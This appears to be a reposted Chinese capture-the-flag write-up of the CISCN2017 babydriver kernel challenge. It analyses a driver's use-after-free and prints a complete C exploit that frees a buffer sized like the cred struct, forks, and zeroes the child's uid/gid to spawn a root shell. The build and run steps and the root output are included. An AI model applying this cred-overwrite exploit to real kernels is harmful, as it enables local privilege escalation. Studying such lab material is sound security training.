kernel pwn-kernel UAF
Posted Y0n1an
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kernel pwn-kernel UAF相关的知识,希望对你有一定的参考价值。
不同于用户态pwn,内核pwn就不是用python远程拿shell,而是给一个环境包,下载qemu本地起系统。给定以下文件
boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
bzImage: kernel binary rootfs.cpio: 文件系统映像
一些指令要记载一下:
insmod: 讲指定模块加载到内核中
rmmod: 从内核中卸载指定模块
lsmod: 列出已经加载的模块
modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系
内核UAF的题
解压一下文件
看一下解压出来的文件
vim查看init文件
看到十二行,就是加载babydriver.ko文件,那就把这个拖出来单独查看
没有开 PIE,无 canary 保护,没有去除符号表
然后用ida分析
babyioctl函数:
V3是输入的size,babyioctl函数会free掉babydev_struct的device_buf
然后根据size重新分配一个区域,并且记录size,iotcl函数第一个参数是文件描述符,第二个参数就是指令
babyopen函数:
申请一块0x40的内存空间,返回地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len为0x40
babyread函数
要看一下是不是已经分配的device_buf_len大于输入v4,否则的话存不进去
然后就把babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer和v4都是输入的参数
babywrite函数:
和上面的babyread差不多,只不过是把buffer的拷贝给struct_buf的
babyrelease函数:
释放函数
init和exit都是初始化和退出函数
思路:
Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。
内核的UAF往往是出现在多线程多进程多文件的情况下,当我们打开一个程序,free掉cred结构大小的堆块,然后fork一个子进程,它在申请cred的时候就会申请这一个堆块,利用UAF,把cred结构里的uid、gid等覆盖为0,即可提权
4.4.72 的 cred 结构体 定义 如下:
struct cred
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
;
所以说思路如下
利用两次ioctl,把堆块大小改成cred结构体大小
释放其中一个,然后fork一个子进程,新进程的cred就是之前释放的cred
然后用之前两次ioctl得到的另一个文件描述符修改空间,改gid和uid为0
本题的linux内核版本为4.4.72,cred结构大小为0xA8。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
int fd1 = open('/dev/babydev',2);
int fd2 = open('/dev/babydev',2);
//open twice
ioctl(fd1,0x10001,0xa8);
//edit babydev_struct.device_buf_len with sizeof(struct_cred)
close(fd1);
//free fd1
int pid = fork();
//fork a pid and alloc babydev_struct that has been freed
if(pid<0)
puts("[*] fork error!");
exit(0);
else if(pid == 0)
//let uid gid be 0 by editing fd2
char zeros[30] = 0;
write(fd2,zeros,28);
if(getuid() == 0)
puts("root now");
system("/bin/sh");
exit(0);
else
wait(NULL);
close(fd2);
然后静态解压就行了
// 静态编译文件,kernel 中没有 libc
CISCN2017_babydriver [master] gcc exploit.c -static -o exploit
CISCN2017_babydriver [master] file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下,重新打包 rootfs.cpio
CISCN2017_babydriver [master] cp exploit core/tmp
CISCN2017_babydriver [master] cd core
core [master] find . | cpio -o --format=newc > rootfs.cpio
7017 块
core [master] cp rootfs.cpio ..
core [master] cd ..
// kvm 需要有 root 权限
CISCN2017_babydriver [master●●] sudo ./boot.sh
......
......
/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[ 14.376187] device open
[ 14.376715] device open
[ 14.377201] alloc done
[ 14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #
以上是关于kernel pwn-kernel UAF的主要内容,如果未能解决你的问题,请参考以下文章